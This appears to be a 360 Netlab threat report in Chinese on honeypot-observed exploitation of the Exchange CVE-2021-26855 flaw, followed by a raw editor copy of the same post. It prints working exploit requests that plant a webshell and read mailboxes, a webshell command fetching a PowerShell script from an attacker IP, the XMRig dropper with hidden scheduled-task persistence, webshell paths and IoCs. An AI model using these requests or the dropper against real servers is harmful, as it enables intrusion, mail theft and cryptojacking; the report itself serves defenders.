code=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B



攻击者通过http://178.62.226.184/run.ps1文件植入XMRig挖矿程序，以下是攻击详情：


$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue
if($ProcessActive -eq $null)
{
new-item c:\temp\111 -itemtype directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://178.62.226.184/config.json","C:\temp\111\config.json")
$WebClient.DownloadFile("http://178.62.226.184/javacpl.exe","C:\temp\111\javacpl.exe")
$WebClient.DownloadFile("http://178.62.226.184/WinRing0x64.sys","C:\temp\111\WinRing0x64.sys")
Start-Process -Filepath "C:\temp\111\javacpl.exe"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "App2" -Description "Check"
  
}
else
{	
Write-host "run"
}




Anglerfish蜜罐数据视野


2021年3月6日开始，360网络安全研究院Anglerfish蜜罐系统监测到Microsoft Exchange漏洞（CVE-2021-26855）扫描，截至日前，扫描源IP地址地理位置分布如下：




通过对扫描端口分析发现，扫描目的端口主要是443端口（77.3%），其次是80端口（11.3%），如下图：




根据分析捕获的扫描流量，扫描源IP ASN(Autonomous System Numbers)主要是Linode, LLC、DiGiTALOCEAN-ASN和LeaseWeb Netherlands B.V.，占比50%以上，扫描整体趋势如下：




扫描源IP来自全球各个国家，其中美国占比最大，如下图:




对捕获的流量进行分析发现，Top 5的扫描IP占比所有扫描行为的50%，其中159.89.95.163占比达24%，暴露了该IP具有一定的组织性。




通过对攻击流量进行分析发现，攻击者已经能够成功利用该漏洞植入Webshell，详情如下图所示：




攻击者通过Webshell进一步实施恶意攻击操作，如植入XMRig挖矿程序，详情如下图所示：





部分扫描源IP rDNS SLD信息


我们通过简单分析Microsoft Exchange漏洞（CVE-2021-26855）扫描的扫描源IP对应的rDNS信息，可以看到一些组织信息。





Webshell 分析


我们监测到大量Webshell路径探测请求，其中大部分是安全厂商和研究机构的扫描行为。

已知Webshell路径如下所示：


GET /aspnet_client/system_web/log.aspx 	1682
GET /aspnet_client/OutlookEN.aspx 	1660
GET /aspnet_client/HttpProxy.aspx 	1643
GET /aspnet_client/aspnet_client.aspx 	1613
GET /aspnet_client/discover.aspx 	1583
GET /aspnet_client/supp0rt.aspx 	1490
GET /owa/auth/OutlookEN.aspx 	1464
GET /aspnet_client/aspnet_iisstart.aspx 	1463
GET /owa/auth/Current/scripts/premium/fexppw.aspx 	1442
GET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx 	1441
GET /aspnet_client/Server.aspx 	1433
GET /owa/auth/8Lw7tAhF9i1pJnRo.aspx 	1428
GET /owa/auth/logg.aspx 	1416
GET /aspnet_client/xx.aspx 	1412
GET /owa/auth/a.aspx 	1403
GET /owa/auth/Current/themes/errorFS.aspx 	1393
GET /owa/auth/errorPage.aspx 	1373
GET /owa/auth/getpp.aspx 	1367
GET /aspnet_client/aspnet_pages.aspx 	1364
GET /owa/auth/default.aspx 	1334
GET /owa/auth/fatal-erro.aspx 	1326
GET /owa/auth/errorPages.aspx 	1322
GET /owa/auth/log.aspx 	1311
GET /owa/auth/shel90.aspx 	1306
GET /owa/auth/Err0r.aspx 	1303
GET /owa/auth/logout.aspx 	1302
GET /aspnet_client/log3.aspx 	1293
GET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx 	1285
GET /owa/auth/RedirSuiteServerProxy.aspx 	1279
GET /aspnet_client/eror.aspx 	1266
GET /aspnet_client/0QWYSEXe.aspx 	1263
GET /owa/auth/current/one1.aspx 	1260
GET /aspnet_client/session.aspx 	1242
GET /aspnet_client/iispage.aspx 	1213
GET /aspnet_client/system_web/logx2.aspx 	1212
GET /owa/auth/Current/themes/resources/owafont_vo.aspx 	1207
GET /aspnet_client/log.aspx 	1207
GET /aspnet_client/WlUtyY.aspx 	1168
GET /aspnet_client/aspnet_www.aspx 	1167
GET /owa/auth/15.0.847/themes/resources/hmask.aspx 	1164
GET /owa/auth/Current/app222.aspx 	1155
GET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx 	1147
GET /owa/auth/ErrorAA.aspx 	1089
GET /owa/auth/one.aspx 	1079
GET /aspnet_client/errorcheck.aspx 	1074
GET /owa/auth/one1.aspx 	1072
GET /aspnet_client/system_web/logfe.aspx 	1064
GET /owa/auth/zntwv.aspx 	1031
GET /owa/auth/Current/themes/resources/owafont_vn.aspx 	1019
GET /owa/auth/shel.aspx 	1016
GET /owa/auth/shel2.aspx 	1011
GET /owa/auth/bob.aspx 	1008
GET /owa/auth/OutlookZH.aspx 	1008
GET /owa/auth/Current/themes/resources/daxlz.aspx 	1001
GET /owa/auth/authhead.aspx 	1000
GET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx 	993
GET /aspnet_client/default1.aspx 	984
GET /aspnet_client/system_web/logon.aspx 	978
GET /aspnet_client/s.aspx 	930
GET /aspnet_client/RedirSuiteServerProxy.aspx 	927
GET /aspnet_client/8aUco9ZK.aspx 	920
GET /aspnet_client/F48zhi6U.aspx 	917
GET /aspnet_client/E3MsTjP8.aspx 	915
GET /aspnet_client/Fc1b3WDP.aspx 	915
GET /aspnet_client/2XJHwN19.aspx 	907
GET /aspnet_client/0q1iS7mn.aspx 	905
GET /aspnet_client/shell.aspx 	901
GET /aspnet_client/McYhCzdb.aspx 	898
GET /aspnet_client/sol.aspx 	893
GET /aspnet_client/aspnettest.aspx 	889
GET /aspnet_client/error_page.aspx 	885
GET /aspnet_client/system_web/error.aspx 	883
GET /aspnet_client/UwSPMsFi.aspx 	882
GET /aspnet_client/web.config.aspx 	878
GET /aspnet_client/shellex.aspx 	876
GET /aspnet_client/uHSPTWMG.aspx 	873
GET /aspnet_client/help.aspx 	868
GET /aspnet_client/load.aspx 	865
GET /aspnet_client/zXkZu6bn.aspx 	858
GET /aspnet_client/ogu7zFil.aspx 	843
GET /owa/auth/shell.aspx 	644
GET /owa/auth/web.aspx 	643
GET /owa/auth/aspnet_client.aspx 	639
GET /owa/auth/errorEEE.aspx 	635
GET /owa/auth/27fib.aspx 	627
GET /owa/auth/errorEE.aspx 	625
GET /owa/auth/b.aspx 	624
GET /owa/auth/aspnettest.aspx 	621
GET /owa/auth/healthcheck.aspx 	621
GET /owa/auth/t.aspx 	620
GET /owa/auth/shellex.aspx 	619
GET /owa/auth/wanlin.aspx 	619
GET /owa/auth/aspnet_iisstart.aspx 	619
GET /owa/auth/errorFF.aspx 	615
GET /owa/auth/test.aspx 	615
GET /owa/auth/document.aspx 	614
GET /owa/auth/xx.aspx 	613
GET /owa/auth/help.aspx 	612
GET /owa/auth/evilcorp.aspx 	611
GET /owa/auth/web.config.aspx 	606
GET /owa/auth/error_page.aspx 	605
GET /owa/auth/aspnet_www.aspx 	603
GET /owa/auth/errorFE.aspx 	601
GET /owa/auth/errorEW.aspx 	597
GET /owa/auth/OutlookDA.aspx 	288
GET /owa/auth/OutlookFR.aspx 	208
GET /owa/auth/OutlookIT.aspx 	187
GET /owa/auth/OutlookDE.aspx 	186
GET /owa/auth/OutlookES.aspx 	182
GET /owa/auth/expiredpassword.aspx 	175
GET /owa/auth/OutlookPL.aspx 	171
GET /owa/auth/OutlookAR.aspx 	165
GET /owa/auth/OutlookSE.aspx 	162
GET /owa/auth/logoff.aspx 	150
GET /owa/auth/OutlookAS.aspx 	146
GET /owa/auth/OutlookIO.aspx 	144
GET /owa/auth/OutlookCN.aspx 	111
GET /aspnet_client/Service.aspx 	88
GET /aspnet_client/1d.aspx 	88
GET /aspnet_client/Metabase.aspx 	86
GET /aspnet_client/7KmCS.aspx 	86
GET /aspnet_client/config.aspx 	79
GET /aspnet_client/cafZCu.aspx 	78
GET /aspnet_client/8lw7tahf9i1pjnro.aspx 	77
GET /aspnet_client/MAlREnavuY.aspx 	77
GET /aspnet_client/a.aspx 	77
GET /aspnet_client/Default.aspx 	76
GET /aspnet_client/ahihi.aspx 	76
GET /aspnet_client/aa.aspx 	76
GET /aspnet_client/aspnet_iistart.aspx 	75
GET /aspnet_client/configs.aspx 	74
GET /aspnet_client/aspnet.aspx 	71
GET /aspnet_client/aspx_client.aspx 	69
GET /aspnet_client/error404.aspx 	67
GET /aspnet_client/bob.aspx 	67
GET /aspnet_client/document.aspx 	67
GET /aspnet_client/authhead.aspx 	67
GET /aspnet_client/current/one1.aspx 	63
GET /aspnet_client/client.aspx 	63
GET /aspnet_client/erroree.aspx 	63
GET /owa/auth/seclogon.aspx 	61
GET /aspnet_client/upnews.aspx 	60
GET /aspnet_client/errorff.aspx 	60
GET /owa/auth/Current/themes/resources/system_io.aspx 	60
GET /owa/auth/15.1.225/scripts/premium/errorPE.aspx 	59
GET /aspnet_client/y3iGH.aspx 	59
GET /owa/auth/Current/themes/resources/errorFE.aspx 	59
GET /owa/auth/Current/AMNBJLXqoHTV.aspx 	59
GET /aspnet_client/errorew.aspx 	59
GET /owa/auth/Current/themes/resources/OutlookQN.aspx 	59
GET /owa/auth/Current/themes/resources/View_tools.aspx 	59
GET /owa/auth/6GIXZG.aspx 	59
GET /aspnet_client/system_web/ogzsis0L.aspx 	59
GET /owa/auth/Current/themes/resources/Ignrop.aspx 	59
GET /aspnet_client/errorpages.aspx 	58
GET /aspnet_client/erroreee.aspx 	58
GET /owa/auth/hmknq.aspx 	57
GET /aspnet_client/system_web/4_0_30319/self.aspx 	57
GET /owa/auth/DesktopShellExt.aspx 	57
GET /aspnet_client/web.aspx 	56
GET /aspnet_client/system_web/9VkFwtxt.aspx 	56
GET /aspnet_client/default.aspx 	56
GET /aspnet_client/soHKY.aspx 	56
GET /aspnet_client/errorpage.aspx 	56
GET /owa/auth/rlvgk.aspx 	54
GET /owa/auth/logerr.aspx 	54
GET /owa/auth/pzbwl.aspx 	54
GET /owa/auth/owaauth.aspx 	54
GET /aspnet_client/est11.aspx 	54
GET /owa/auth/errorcheck.aspx 	53
GET /owa/auth/Current/layout.aspx 	52
GET /owa/auth/Current/themes/resources/logon.aspx 	52
GET /owa/auth/CommonError.aspx 	52
GET /owa/auth/Current/themes/config1.aspx 	52
GET /owa/auth/ErrorDef.aspx 	52
GET /owa/auth/iasads.aspx 	51
GET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx 	51
GET /owa/auth/061a06908b.aspx 	50
GET /owa/auth/Current/zJBxcBoI.aspx 	50
GET /owa/auth/errorew.aspx 	50
GET /aspnet_client/help..aspx 	50
GET /owa/auth/15.0.1497/themes/resources/error.aspx 	50
GET /owa/auth/rwinsta.aspx 	50
GET /aspnet_client/t.aspx 	50
GET /owa/auth/server.aspx 	49
GET /owa/auth/erroreww.aspx 	49
GET /aspnet_client/temp.aspx 	49
GET /owa/auth/frow.aspx 	49
GET /aspnet_client/test007.aspx 	49
GET /owa/auth/fhsvc.aspx 	49
GET /owa/auth/s.aspx 	48
GET /owa/auth/errorpage.aspx 	48
GET /aspnet_client/zEeomtdYcX.aspx 	48
GET /owa/auth/session.aspx 	48
GET /owa/auth/secauth.aspx 	48
GET /owa/auth/Current/Exchanges.aspx 	48
GET /owa/auth/erroree.aspx 	48
GET /owa/auth/atlthunk.aspx 	48
GET /aspnet_client/voqbETdoni.aspx 	48
GET /owa/auth/secauth1.aspx 	48
GET /owa/auth/online.aspx 	48
GET /owa/auth/erroreee.aspx 	48
GET /owa/auth/outlooken.aspx 	48
GET /owa/auth/error.aspx 	47
GET /owa/auth/ProximityService.aspx 	47
GET /owa/auth/outlookfront.aspx 	47
GET /owa/auth/proxylogon.aspx 	47
GET /owa/auth/8lw7tahf9i1pjnro.aspx 	47
GET /owa/auth/ovfwHWjwWm.aspx 	47
GET /owa/auth/qnx.aspx 	47
GET /owa/auth/plorion.aspx 	47
GET /aspnet_client/uyqITYBPew.aspx 	47
GET /owa/auth/outlookru.aspx 	47
GET /aspnet_client/show.aspx 	47
GET /aspnet_client/fatal-erro.aspx 	46
GET /owa/auth/errorfff.aspx 	46
GET /owa/auth/KBDBENE.aspx 	46
GET /owa/auth/OutlookUS.aspx 	46
GET /aspnet_client/system.aspx 	46
GET /owa/auth/login.aspx 	46
GET /owa/auth/letmeinplzs.aspx 	46
GET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx 	46
GET /owa/auth/errorff.aspx 	46
GET /owa/auth/redirsuiteserverproxy.aspx 	45
GET /aspnet_client/signon.aspx 	45
GET /aspnet_client/healthcheck.aspx 	45
GET /aspnet_client/login.aspx 	45
GET /owa/auth/ntprint.aspx 	45
GET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx 	44
GET /aspnet_client/qfmrucnzl.aspx 	44
GET /owa/auth/errorpages.aspx 	44
GET /owa/auth/XblGameSave.aspx 	44
GET /owa/auth/OutlookDN.aspx 	44
GET /aspnet_client/obq.aspx 	44
GET /owa/auth/load.aspx 	44
GET /aspnet_client/logaaa.aspx 	44
GET /owa/auth/discover.aspx 	43
GET /owa/auth/outlookjp.aspx 	43
GET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx 	43
GET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx 	42
GET /aspnet_client/shel90.aspx 	42
GET /aspnet_client/support.aspx 	42
GET /owa/auth/HcDKNzBoha.aspx 	41
GET /owa/auth/multiup.aspx 	41
GET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx 	40
GET /owa/auth/outlookzh.aspx 	40
GET /owa/auth/HUUPItrNpXvI.aspx 	40
GET /owa/auth/dbuj9.aspx 	40
GET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx 	40
GET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx 	39
GET /owa/auth/sol.aspx 	39
GET /owa/auth/httpproxy.aspx 	39
GET /owa/auth/XboxNetApiSvc.aspx 	39
GET /owa/auth/supp0rt.aspx 	39
GET /aspnet_client/one.aspx 	39
GET /owa/auth/signon.aspx 	38
GET /aspnet_client/outlookjp.aspx 	38
GET /owa/auth/OutlookEN.US.aspx 	38
GET /owa/auth/KrhHyDPwb70ct362JmLn.aspx 	38
GET /owa/auth/OutlookUN.aspx 	37
GET /owa/auth/aa.aspx 	36
GET /owa/auth/aaa.aspx 	36
GET /owa/auth/iispage.aspx 	36
GET /aspnet_client/redirsuiteserverproxy.aspx 	36
GET /owa/auth/shelltest.aspx 	35
GET /owa/auth/system_web/log.aspx 	35
GET /owa/auth/aspx_client.aspx 	35
GET /owa/auth/tst1.aspx 	35
GET /owa/auth/tpmvscmgrsvr.aspx 	35
GET /aspnet_client/online.aspx 	34
GET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx 	34
GET /owa/auth/aspnet.aspx 	34
GET /aspnet_client/outlookru.aspx 	34
GET /aspnet_client/outlookzh.aspx 	34
GET /aspnet_client/outlookfront.aspx 	34
GET /aspnet_client/shel.aspx 	33
GET /aspnet_client/logg.aspx 	33
GET /owa/auth/asas.aspx 	33
GET /aspnet_client/server.aspx 	33
GET /owa/auth/tNLPge.aspx 	32
GET /owa/auth/ahihi.aspx 	32
GET /owa/auth/TimeoutLogout.aspx 	32
GET /owa/auth/aspnet_pages.aspx 	32
GET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx 	32
GET /owa/auth/test13037.aspx 	31
GET /aspnet_client/shel2.aspx 	31
GET /aspnet_client/one1.aspx 	31
GET /aspnet_client/httpproxy.aspx 	31
GET /owa/auth/test1337.aspx 	31
GET /owa/auth/signout.aspx 	29
GET /aspnet_client/outlooken.aspx 	28
GET /owa/auth/default1.aspx 	28
GET /owa/auth/theme-gsx8ujzpicf0.aspx 	28
GET /aspnet_client/multiup.aspx 	27
GET /aspnet_client/logout.aspx 	27
GET /owa/auth/theme-vten8snn874b.aspx 	25
GET /aspnet_client/error.aspx 	8
GET /aspnet_client/errorFF.aspx 	8
GET /aspnet_client/errorEE.aspx 	8
GET /owa/auth/OutlookJP.aspx 	6
GET /aspnet_client/errorEW.aspx 	6
POST /aspnet_client/discover.aspx 	5
GET /aspnet_client/errorEEE.aspx 	5
POST /aspnet_client/system_web/logx2.aspx 	4
GET /owa/auth/HttpProxy.aspx 	4
GET /owa/auth/OutlookRU.aspx 	4
GET /aspnet_client/system_web/sol.aspx 	4
GET /aspnet_client/system_web/QBFjM1SC.aspx 	4
GET /aspnet_client/OutlookJP.aspx 	4
GET /aspnet_client/system_web/ioWYM7C4.aspx 	4
GET /owa/auth/Online.aspx 	4
GET /aspnet_client/MultiUp.aspx 	4
GET /owa/auth/Logout.aspx 	4
GET /aspnet_client/system_web/E12B65rm.aspx 	4
GET /aspnet_client/system_web/vY4qLEpG.aspx 	3
GET /aspnet_client/system_web/test.aspx 	3
GET /aspnet_client/Online.aspx 	3
GET /aspnet_client/system_web/3ue5myCq.aspx 	3
GET /aspnet_client/system_web/sJ0f8qHt.aspx 	3
GET /aspnet_client/system_web/cMvBgHLZ.aspx 	3
GET /aspnet_client/system_web/WFk2or3Y.aspx 	3
GET /aspnet_client/system_web/GnCwADKH.aspx 	3
GET /aspnet_client/rabiitch.aspx 	3
GET /aspnet_client/system_web/Cs64LbPk.aspx 	3
GET /aspnet_client/Logout.aspx 	2
GET /owa/auth/WMSPDMOD.aspx 	2
GET /aspnet_client/OutlookRU.aspx 	2
GET /owa/auth/Discover.aspx 	2
GET /aspnet_client/system_web/2TFGNswO.aspx 	2
GET /aspnet_client/Discover.aspx 	2
GET /owa/auth/checkerror635284.aspx 	2
GET /owa/auth/MultiUp.aspx 	2
GET /aspnet_client/system_web/3NHhPxJ5.aspx 	2
GET /aspnet_client/system_web/1A2ZeQOu.aspx 	2
GET /owa/auth/Current/themes/resources/lgnleft.aspx 	2
GET /aspnet_client/checkerror635284.aspx 	2
GET /owa/auth/1d61acae91.aspx 	2
GET /owa/auth/current/themes/resources/error.aspx 	1
GET /aspnet_client/iisstart.aspx 	1
GET /owa/auth/lo.aspx 	1
GET /owa/auth/error404.aspx 	1




Miscrosoft Exchange服务器分布


360 Quake网络空间测绘系统通过对全网资产测绘，发现Microsoft Exchange服务器共3,378,260条数据记录，其中有534,590个独立IP，具体分布如下图所示。





联系我们


感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。



IoC


IP:


178.62.226.184
157.245.47.214



Miner Proxy:


159.65.206.137:3333



URL:


http://178.62.226.184/mini-reverse.ps1 
http://178.62.226.184/run.ps1
http://178.62.226.184/config.json
http://178.62.226.184/javacpl.exe
http://178.62.226.184/WinRing0x64.sys



MD5:


79e2c9953f452f777d55749f01e5f3b7
2d4d75e46f6de65fba2451da71686322
0fe28f557e9997cd2750ff3fa86a659e
67f2d42e30f6239114feafc9ffd009d8
0c0195c48b6b8582fa6f6373032118da


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2021年3月2号，微软披露了Microsoft Exchange服务器的远程代码执行漏洞[[1]](https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/)。\n\n2021年3月3号开始，360网络安全研究院Anglerfish蜜罐开始模拟和部署Microsoft Exchange蜜罐插件，很快我们搜集到大量的漏洞检测数据，目前我们已经检测到攻击者植入Webshell，获取邮箱信息，甚至进行XMRig恶意挖矿(`http://178.62.226.184/run.ps1`)的网络攻击行为。根据挖矿文件路径名特征，我们将该Miner命名为Tripleone。\n\n2021年3月6号开始，ProjectDiscovery和微软CSS-Exchange项目相继披露了漏洞检测脚本[[2]](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)[[3]](https://github.com/microsoft/CSS-Exchange/blob/main/Security/src/http-vuln-cve2021-26855.nse)。\n\nMicrosoft Exchange服务器的远程代码执行漏洞利用步骤复杂，一般从PoC公布到黑色产业攻击者利用需要一定的时间，我们看到这个攻击现象已经开始了。\n\n\n### CVE-2021-26855 植入Webshell\n```\nPOST /ecp/j2r3.js HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\nContent-Type: application/json; charset=utf-8\nCookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.\nmsExchLogonMailbox: S-1-5-20\nContent-Length: 381\n\n{\"properties\": {\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \"FilePathName\": \"\\\\\\\\127.0.0.1\\\\c$\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\test1337.aspx\"}}, \"identity\": {\"DisplayName\": \"OAB (Default Web Site)\", \"__type\": \"Identity:ECP\", \"RawIdentity\": \"7280d03f-194a-4bf3-98a7-076e7728321d\"}}\n```\n\n### CVE-2021-26855 获取邮箱信息\n```\nPOST //ecp/ssrf.js HTTP/1.1\nHost: {target}\nConnection: close\nAccept-Encoding: gzip\nAccept: */*\nUser-Agent: Hello-World\nContent-Type: text/xml\nCookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;\nContent-Length: 756\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n    <soap:Body>\n        <m:GetFolder>\n            <m:FolderShape>\n                <t:BaseShape>Default</t:BaseShape>\n            </m:FolderShape>\n            <m:FolderIds>\n                <t:DistinguishedFolderId Id=\"inbox\">\n                    <t:Mailbox>\n                        <t:EmailAddress>admin@domain.tld</t:EmailAddress>\n                    </t:Mailbox>\n                </t:DistinguishedFolderId>\n            </m:FolderIds>\n        </m:GetFolder>\n    </soap:Body>\n</soap:Envelope>\n```\n\n### CVE-2021-26855 挖矿攻击\n```\nPOST /owa/auth/test1337.aspx HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: python-requests/2.25.1\nContent-Length: 211\nContent-Type: application/x-www-form-urlencoded\n\ncode=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B\n```\n\n攻击者通过`http://178.62.226.184/run.ps1`文件植入XMRig挖矿程序，以下是攻击详情：\n```\n$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue\nif($ProcessActive -eq $null)\n{\nnew-item c:\\temp\\111 -itemtype directory\n$WebClient = New-Object System.Net.WebClient\n$WebClient.DownloadFile(\"http://178.62.226.184/config.json\",\"C:\\temp\\111\\config.json\")\n$WebClient.DownloadFile(\"http://178.62.226.184/javacpl.exe\",\"C:\\temp\\111\\javacpl.exe\")\n$WebClient.DownloadFile(\"http://178.62.226.184/WinRing0x64.sys\",\"C:\\temp\\111\\WinRing0x64.sys\")\nStart-Process -Filepath \"C:\\temp\\111\\javacpl.exe\"\n$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')\"\n$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)\nRegister-ScheduledTask -Action $action -Trigger $trigger -TaskName \"App2\" -Description \"Check\"\n  \n}\nelse\n{\t\nWrite-host \"run\"\n}\n```\n\n### Anglerfish蜜罐数据视野\n2021年3月6日开始，360网络安全研究院Anglerfish蜜罐系统监测到Microsoft Exchange漏洞（CVE-2021-26855）扫描，截至日前，扫描源IP地址地理位置分布如下：\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png\" class=\"kg-image\"/></a>\n\n通过对扫描端口分析发现，扫描目的端口主要是443端口（77.3%），其次是80端口（11.3%），如下图：\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_ports.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_ports.png\" class=\"kg-image\"/></a>\n\n根据分析捕获的扫描流量，扫描源IP ASN(Autonomous System Numbers)主要是Linode, LLC、DiGiTALOCEAN-ASN和LeaseWeb Netherlands B.V.，占比50%以上，扫描整体趋势如下：\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png\" class=\"kg-image\"/></a>\n\n扫描源IP来自全球各个国家，其中美国占比最大，如下图:\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png\" class=\"kg-image\"/></a>\n\n对捕获的流量进行分析发现，Top 5的扫描IP占比所有扫描行为的50%，其中159.89.95.163占比达24%，暴露了该IP具有一定的组织性。\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png\" class=\"kg-image\"/></a>\n\n通过对攻击流量进行分析发现，攻击者已经能够成功利用该漏洞植入Webshell，详情如下图所示：\n<a href=\"__GHOST_URL__/content/images/2021/03/webshell_details.png\"><img src=\"__GHOST_URL__/content/images/2021/03/webshell_details.png\" class=\"kg-image\"/></a>\n\n攻击者通过Webshell进一步实施恶意攻击操作，如植入XMRig挖矿程序，详情如下图所示：\n<a href=\"__GHOST_URL__/content/images/2021/03/sample_details.png\"><img src=\"__GHOST_URL__/content/images/2021/03/sample_details.png\" class=\"kg-image\"/></a>\n\n\n### 部分扫描源IP rDNS SLD信息\n我们通过简单分析Microsoft Exchange漏洞（CVE-2021-26855）扫描的扫描源IP对应的rDNS信息，可以看到一些组织信息。\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_sld.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_sld.png\" class=\"kg-image\"/></a>\n\n### Webshell 分析\n我们监测到大量Webshell路径探测请求，其中大部分是安全厂商和研究机构的扫描行为。\n已知Webshell路径如下所示：\n```\nGET /aspnet_client/system_web/log.aspx \t1682\nGET /aspnet_client/OutlookEN.aspx \t1660\nGET /aspnet_client/HttpProxy.aspx \t1643\nGET /aspnet_client/aspnet_client.aspx \t1613\nGET /aspnet_client/discover.aspx \t1583\nGET /aspnet_client/supp0rt.aspx \t1490\nGET /owa/auth/OutlookEN.aspx \t1464\nGET /aspnet_client/aspnet_iisstart.aspx \t1463\nGET /owa/auth/Current/scripts/premium/fexppw.aspx \t1442\nGET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx \t1441\nGET /aspnet_client/Server.aspx \t1433\nGET /owa/auth/8Lw7tAhF9i1pJnRo.aspx \t1428\nGET /owa/auth/logg.aspx \t1416\nGET /aspnet_client/xx.aspx \t1412\nGET /owa/auth/a.aspx \t1403\nGET /owa/auth/Current/themes/errorFS.aspx \t1393\nGET /owa/auth/errorPage.aspx \t1373\nGET /owa/auth/getpp.aspx \t1367\nGET /aspnet_client/aspnet_pages.aspx \t1364\nGET /owa/auth/default.aspx \t1334\nGET /owa/auth/fatal-erro.aspx \t1326\nGET /owa/auth/errorPages.aspx \t1322\nGET /owa/auth/log.aspx \t1311\nGET /owa/auth/shel90.aspx \t1306\nGET /owa/auth/Err0r.aspx \t1303\nGET /owa/auth/logout.aspx \t1302\nGET /aspnet_client/log3.aspx \t1293\nGET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx \t1285\nGET /owa/auth/RedirSuiteServerProxy.aspx \t1279\nGET /aspnet_client/eror.aspx \t1266\nGET /aspnet_client/0QWYSEXe.aspx \t1263\nGET /owa/auth/current/one1.aspx \t1260\nGET /aspnet_client/session.aspx \t1242\nGET /aspnet_client/iispage.aspx \t1213\nGET /aspnet_client/system_web/logx2.aspx \t1212\nGET /owa/auth/Current/themes/resources/owafont_vo.aspx \t1207\nGET /aspnet_client/log.aspx \t1207\nGET /aspnet_client/WlUtyY.aspx \t1168\nGET /aspnet_client/aspnet_www.aspx \t1167\nGET /owa/auth/15.0.847/themes/resources/hmask.aspx \t1164\nGET /owa/auth/Current/app222.aspx \t1155\nGET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx \t1147\nGET /owa/auth/ErrorAA.aspx \t1089\nGET /owa/auth/one.aspx \t1079\nGET /aspnet_client/errorcheck.aspx \t1074\nGET /owa/auth/one1.aspx \t1072\nGET /aspnet_client/system_web/logfe.aspx \t1064\nGET /owa/auth/zntwv.aspx 